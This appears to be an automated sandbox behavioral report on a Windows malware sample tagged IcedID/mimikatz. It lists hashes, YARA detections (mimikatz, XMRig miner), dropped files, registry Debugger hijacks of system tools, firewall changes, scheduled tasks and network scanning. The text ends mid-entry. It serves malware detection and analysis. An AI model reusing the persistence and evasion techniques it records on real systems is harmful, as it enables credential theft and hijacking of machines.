Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
08-04-2024 00:44
Behavioral task
behavioral1
Sample
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe
Resource
win7-20240319-en
General
-
Target
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe
-
Size
7.7MB
-
MD5
b3a02a6011735502877f18382c0ca97a
-
SHA1
dc7fd1bd0add3cdf5dcddf4d9924a71f1243d51b
-
SHA256
ee139684b172c9837b8c57aea4c61f6cdee3d5a8b4dcc7d109e2fe93ea942027
-
SHA512
134d7910178b7bbde561d1fadfc835bef710eaa4f17b89fb370530689205cda3d8e9be95f5012b305defc4ce178845a06bd1302476c8e0f01f4e1675d08402ca
-
SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
mghfsiy.exedescription pid process target process PID 3368 created 1820 3368 mghfsiy.exe spoolsv.exe -
Contacts a large (30289) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
Processes:
resource yara_rule behavioral2/memory/1044-136-0x00007FF6789C0000-0x00007FF678AAE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 39 IoCs
Processes:
resource yara_rule behavioral2/memory/3552-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX C:\Windows\atiufaue\mghfsiy.exe UPX behavioral2/memory/2880-7-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX C:\Windows\kfesmkaky\Corporate\vfshost.exe UPX behavioral2/memory/1044-134-0x00007FF6789C0000-0x00007FF678AAE000-memory.dmp UPX behavioral2/memory/1044-136-0x00007FF6789C0000-0x00007FF678AAE000-memory.dmp UPX C:\Windows\Temp\kfesmkaky\aeytjhyzj.exe UPX behavioral2/memory/4460-151-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/4460-157-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX C:\Windows\Temp\kufytdyac\bftlbj.exe UPX behavioral2/memory/3520-161-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/1300-170-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/412-174-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/2340-178-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/3520-180-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/4232-183-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/3520-186-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/184-188-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/4128-193-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/4116-197-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/3520-200-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/3552-202-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/2872-206-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/2584-210-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/3520-212-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/4892-215-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/2212-219-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/3520-221-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/1952-224-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/2724-228-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/2696-231-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/3520-232-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/4760-234-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp UPX behavioral2/memory/3520-247-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/3520-248-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/3520-249-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/3520-251-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/3520-253-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX behavioral2/memory/3520-254-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp UPX -
XMRig Miner payload 12 IoCs
Processes:
resource yara_rule behavioral2/memory/3520-180-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-186-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-200-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-212-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-221-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-232-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-247-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-248-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-249-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-251-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-253-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig behavioral2/memory/3520-254-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 4 IoCs
Processes:
resource yara_rule behavioral2/memory/3552-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz C:\Windows\atiufaue\mghfsiy.exe mimikatz behavioral2/memory/2880-7-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/1044-136-0x00007FF6789C0000-0x00007FF678AAE000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
Processes:
mghfsiy.exewpcap.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts mghfsiy.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts mghfsiy.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 4156 netsh.exe 4564 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
Processes:
mghfsiy.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mghfsiy.exe -
Executes dropped EXE 28 IoCs
Processes:
mghfsiy.exemghfsiy.exewpcap.exemyfdjeyae.exevfshost.exexohudmc.exexchlyg.exeaeytjhyzj.exebftlbj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exemghfsiy.exerykaeepeu.exemghfsiy.exepid process 2880 mghfsiy.exe 3368 mghfsiy.exe 4896 wpcap.exe 5084 myfdjeyae.exe 1044 vfshost.exe 376 xohudmc.exe 632 xchlyg.exe 4460 aeytjhyzj.exe 3520 bftlbj.exe 1300 aeytjhyzj.exe 412 aeytjhyzj.exe 2340 aeytjhyzj.exe 4232 aeytjhyzj.exe 184 aeytjhyzj.exe 4128 aeytjhyzj.exe 4116 aeytjhyzj.exe 3552 aeytjhyzj.exe 2872 aeytjhyzj.exe 2584 aeytjhyzj.exe 4892 aeytjhyzj.exe 2212 aeytjhyzj.exe 1952 aeytjhyzj.exe 2724 aeytjhyzj.exe 2696 aeytjhyzj.exe 4760 aeytjhyzj.exe 2984 mghfsiy.exe 432 rykaeepeu.exe 4532 mghfsiy.exe -
Loads dropped DLL 12 IoCs
Processes:
wpcap.exemyfdjeyae.exepid process 4896 wpcap.exe 4896 wpcap.exe 4896 wpcap.exe 4896 wpcap.exe 4896 wpcap.exe 4896 wpcap.exe 4896 wpcap.exe 4896 wpcap.exe 4896 wpcap.exe 5084 myfdjeyae.exe 5084 myfdjeyae.exe 5084 myfdjeyae.exe -
Processes:
resource yara_rule C:\Windows\kfesmkaky\Corporate\vfshost.exe upx behavioral2/memory/1044-134-0x00007FF6789C0000-0x00007FF678AAE000-memory.dmp upx behavioral2/memory/1044-136-0x00007FF6789C0000-0x00007FF678AAE000-memory.dmp upx C:\Windows\Temp\kfesmkaky\aeytjhyzj.exe upx behavioral2/memory/4460-151-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/4460-157-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx C:\Windows\Temp\kufytdyac\bftlbj.exe upx behavioral2/memory/3520-161-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/1300-170-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/412-174-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/2340-178-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/3520-180-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/4232-183-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/3520-186-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/184-188-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/4128-193-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/4116-197-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/3520-200-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/3552-202-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/2872-206-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/2584-210-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/3520-212-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/4892-215-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/2212-219-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/3520-221-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/1952-224-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/2724-228-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/2696-231-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/3520-232-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/4760-234-0x00007FF7473F0000-0x00007FF74744B000-memory.dmp upx behavioral2/memory/3520-247-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/3520-248-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/3520-249-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/3520-251-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/3520-253-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx behavioral2/memory/3520-254-0x00007FF7891D0000-0x00007FF7892F0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 65 ifconfig.me 64 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
Processes:
mghfsiy.exewpcap.exexohudmc.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft mghfsiy.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\xchlyg.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData mghfsiy.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 mghfsiy.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A mghfsiy.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\xchlyg.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 mghfsiy.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content mghfsiy.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A mghfsiy.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 mghfsiy.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE mghfsiy.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies mghfsiy.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache mghfsiy.exe -
Drops file in Program Files directory 3 IoCs
Processes:
wpcap.exedescription ioc process File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe -
Drops file in Windows directory 60 IoCs
Processes:
mghfsiy.execmd.exerykaeepeu.exe2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exedescription ioc process File opened for modification C:\Windows\atiufaue\schoedcl.xml mghfsiy.exe File opened for modification C:\Windows\kfesmkaky\Corporate\log.txt cmd.exe File created C:\Windows\kfesmkaky\ljlebekct\ip.txt mghfsiy.exe File opened for modification C:\Windows\atiufaue\vimpcsvc.xml mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\svschost.exe mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\vimpcsvc.exe mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\svschost.xml mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\AppCapture64.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\ssleay32.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\docmicfg.exe mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\vimpcsvc.xml mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\trfo-2.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\schoedcl.exe mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\AppCapture32.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\cnli-1.dll mghfsiy.exe File created C:\Windows\atiufaue\docmicfg.xml mghfsiy.exe File created C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe mghfsiy.exe File created C:\Windows\kfesmkaky\ljlebekct\Packet.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\libeay32.dll mghfsiy.exe File created C:\Windows\atiufaue\vimpcsvc.xml mghfsiy.exe File created C:\Windows\kfesmkaky\ljlebekct\wpcap.exe mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\tibe-2.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\spoolsrv.xml mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\docmicfg.xml mghfsiy.exe File opened for modification C:\Windows\kfesmkaky\ljlebekct\Result.txt rykaeepeu.exe File created C:\Windows\kfesmkaky\ljlebekct\rykaeepeu.exe mghfsiy.exe File created C:\Windows\atiufaue\schoedcl.xml mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\schoedcl.xml mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\schoedcl.xml mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\Shellcode.ini mghfsiy.exe File created C:\Windows\atiufaue\mghfsiy.exe 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\crli-0.dll mghfsiy.exe File opened for modification C:\Windows\kfesmkaky\ljlebekct\Packet.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\posh-0.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\xdvl-0.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\vimpcsvc.xml mghfsiy.exe File created C:\Windows\kfesmkaky\Corporate\vfshost.exe mghfsiy.exe File created C:\Windows\kfesmkaky\ljlebekct\wpcap.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\zlib1.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\svschost.xml mghfsiy.exe File created C:\Windows\atiufaue\spoolsrv.xml mghfsiy.exe File created C:\Windows\kfesmkaky\Corporate\mimilib.dll mghfsiy.exe File created C:\Windows\ime\mghfsiy.exe mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\ucl.dll mghfsiy.exe File opened for modification C:\Windows\atiufaue\docmicfg.xml mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\coli-0.dll mghfsiy.exe File created C:\Windows\atiufaue\svschost.xml mghfsiy.exe File opened for modification C:\Windows\atiufaue\svschost.xml mghfsiy.exe File created C:\Windows\kfesmkaky\upbdrjv\swrpwe.exe mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\spoolsrv.xml mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\docmicfg.xml mghfsiy.exe File created C:\Windows\kfesmkaky\Corporate\mimidrv.sys mghfsiy.exe File created C:\Windows\kfesmkaky\ljlebekct\scan.bat mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\spoolsrv.exe mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\exma-1.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\libxml2.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\trch-1.dll mghfsiy.exe File created C:\Windows\kfesmkaky\UnattendGC\specials\tucl-1.dll mghfsiy.exe File opened for modification C:\Windows\atiufaue\spoolsrv.xml mghfsiy.exe File opened for modification C:\Windows\atiufaue\mghfsiy.exe 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 1044 sc.exe 3492 sc.exe 3280 sc.exe 4628 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 3 IoCs
Processes:
resource yara_rule C:\Windows\atiufaue\mghfsiy.exe nsis_installer_2 C:\Windows\kfesmkaky\ljlebekct\wpcap.exe nsis_installer_1 C:\Windows\kfesmkaky\ljlebekct\wpcap.exe nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 1028 schtasks.exe 4764 schtasks.exe 1036 schtasks.exe -
Modifies data under HKEY_USERS 43 IoCs
Processes:
aeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exemghfsiy.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" mghfsiy.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" mghfsiy.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing mghfsiy.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" mghfsiy.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Key created 